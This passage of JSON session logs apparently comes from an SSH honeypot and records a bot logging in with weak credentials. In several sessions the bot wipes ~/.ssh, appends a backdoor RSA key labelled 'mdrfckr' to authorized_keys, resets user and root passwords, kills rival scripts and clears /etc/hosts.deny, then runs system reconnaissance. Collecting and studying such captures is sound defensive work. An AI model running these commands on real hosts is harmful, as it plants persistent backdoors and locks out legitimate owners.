node\n^C"},{"seq":23,"at":"2026-08-27T12:41:48.213251+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:41:49.007826+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:41:49.336349+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:41:49.997926+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:41:50.326682+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:41:50.579311+00:00","kind":"output","latency_ms":null,"data":"uno50"},{"seq":29,"at":"2026-08-27T12:41:50.906841+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:41:51.865620+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:41:52.191046+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:41:54.213889+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"uno50","password":"uno50","method":"password","accepted":true,"tier":"other"}]} {"id":"3272b6bc-0705-4e42-888d-64ba584273d2","name":"shifting-cunning-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41262,"username":"uno50","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:41:36.483426+00:00","ended_at":"2026-08-27T12:41:37.382280+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"uno50","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"73542e21-e36a-4256-b3f3-ab42eeec345a","name":"tender-rambling-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41256,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:41:34.741630+00:00","ended_at":"2026-08-27T12:41:35.830248+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"561a1baf-10b5-495f-9d07-ff7f1129e21d","name":"seaward-twilight-alpaca","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47306,"username":"xie","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:39:55.682275+00:00","ended_at":"2026-08-27T12:39:56.861549+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:39:36.529301+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:39:36.857634+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:41.559893+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:42.167200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:42.494706+00:00","kind":"input","latency_ms":null,"data":"echo -e \"xie123\\nhArcHWPmpKqb\\nhArcHWPmpKqb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:39:42.824708+00:00","kind":"input","latency_ms":null,"data":"echo \"xie123\\nhArcHWPmpKqb\\nhArcHWPmpKqb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:39:43.150950+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:43.799125+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:44.125041+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:45.552027+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:46.192064+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:47.507188+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:47.834298+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:48.216535+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:48.549181+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:48.916830+00:00","kind":"output","latency_ms":null,"data":" 12:39:48 up 7 days, 9:29, 0 user, load average: 0.18, 0.16, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:49.244943+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:49.569467+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:49.897319+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:50.769167+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:51.096759+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:51.649351+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:51 up 7 days, 9:29, 0 user, load average: 0.18, 0.16, 0.16\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:51.983492+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:52.801852+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:53.131337+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:53.415905+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:53.743256+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:54.149323+00:00","kind":"output","latency_ms":null,"data":"xie"},{"seq":29,"at":"2026-08-27T12:39:54.476130+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:55.355292+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:39:55.683154+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:39:56.765237+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"xie","password":"xie123","method":"password","accepted":true,"tier":"other"}]} {"id":"679e29a3-165e-41e6-95ad-3a99708cd9f1","name":"mindful-wry-gecko","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":60160,"username":"xie","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:39.812494+00:00","ended_at":"2026-08-27T12:39:41.463108+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"xie","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"10bc4503-9042-4b44-b94e-ef782982b4ae","name":"calm-arctic-hedgehog","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":47308,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:39:37.602602+00:00","ended_at":"2026-08-27T12:39:39.161528+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3e59a2b6-5ca3-4b3c-a371-56c48ad903d9","name":"crisp-honest-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":59326,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:37:49.832818+00:00","ended_at":"2026-08-27T12:37:51.792145+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:37:32.133051+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:37:32.459345+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:37:35.493188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:37:36.228200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:37:36.555482+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Q7ddC8SAEW8q\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:37:36.887062+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:37:37.215605+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:37:37.775016+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:37:38.103136+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:37:39.416813+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:37:39.746099+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:37:40.976602+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:37:41.308480+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:37:41.908649+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:37:42.237802+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:37:42.729851+00:00","kind":"output","latency_ms":null,"data":" 12:37:42 up 7 days, 9:27, 0 user, load average: 0.18, 0.2, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:37:43.061734+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:37:43.332208+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:37:43.662733+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:37:44.274158+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:37:44.604135+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:37:45.157114+00:00","kind":"output","latency_ms":null,"data":"top - 12:37:45 up 7 days, 9:27, 0 user, load average: 0.18, 0.2, 0.17\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:37:45.486846+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:37:46.224556+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:37:46.553069+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:37:46.927843+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:37:47.255734+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:37:47.537218+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:37:47.867933+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:37:49.506540+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:37:49.833679+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:37:51.693571+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678aa","method":"password","accepted":true,"tier":"other"}]} {"id":"65834ad2-99ae-492e-8b0f-b3fd2076385d","name":"forlorn-spirited-turnstone","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":59340,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:37:34.612656+00:00","ended_at":"2026-08-27T12:37:35.396316+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"30cf0601-5232-4355-9365-a2a1b01f49d7","name":"buoyant-sincere-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":59330,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:37:33.208796+00:00","ended_at":"2026-08-27T12:37:33.960029+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d331a879-855c-450e-b3a6-ec98cec99240","name":"brazen-upland-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37660,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":346,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:35:51.172555+00:00","ended_at":"2026-08-27T12:35:52.995733+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T12:35:33.286184+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:35:33.629771+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:35:37.663170+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:35:37.969295+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:35:38.314758+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\nt3JC8mLo87wz\\nt3JC8mLo87wz\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:35:38.661088+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\nt3JC8mLo87wz\\nt3JC8mLo87wz\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:35:39.006384+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:35:39.696509+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:35:40.042545+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:35:41.073110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:35:41.433139+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:35:42.766565+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:35:43.110967+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:35:43.614406+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:35:43.960143+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:35:44.630247+00:00","kind":"output","latency_ms":null,"data":" 12:35:44 up 7 days, 9:25, 0 user, load average: 0.31, 0.4, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:35:44.978279+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:35:45.437472+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:35:45.782673+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:35:46.062945+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:35:46.408045+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:35:46.727684+00:00","kind":"output","latency_ms":null,"data":"top - 12:35:46 up 7 days, 9:25, 0 user, load average: 0.31, 0.4, 0.24\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:35:47.077515+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:35:47.549108+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:35:47.895789+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:35:48.365947+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:35:48.711921+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:35:49.179341+00:00","kind":"output","latency_ms":null,"data":"admin123"},{"seq":29,"at":"2026-08-27T12:35:49.527349+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:35:50.826402+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:35:51.174351+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:35:52.891483+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin123","password":"admin","method":"password","accepted":true,"tier":"other"}]} {"id":"beb2eb41-e143-4bbb-8a2b-750e77bf5985","name":"alpine-oaken-cassowary","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37678,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:35.908111+00:00","ended_at":"2026-08-27T12:35:37.559532+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin123","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e344c064-0a2b-4585-b6cc-1de1e4ebe998","name":"knotted-sturdy-sable","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37674,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:34.382289+00:00","ended_at":"2026-08-27T12:35:35.255734+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a43d6df3-a362-41f0-ac3b-6d50b2b37097","name":"flinty-foggy-stork","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37116,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:44.889851+00:00","ended_at":"2026-08-27T12:33:45.802782+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:33:25.589354+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:25.912082+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:29.411524+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:30.468126+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:30.800880+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wt7fE2DcO5yC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:33:31.125769+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:33:31.451217+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:32.401543+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:32.729160+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:33.943082+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:34.280053+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 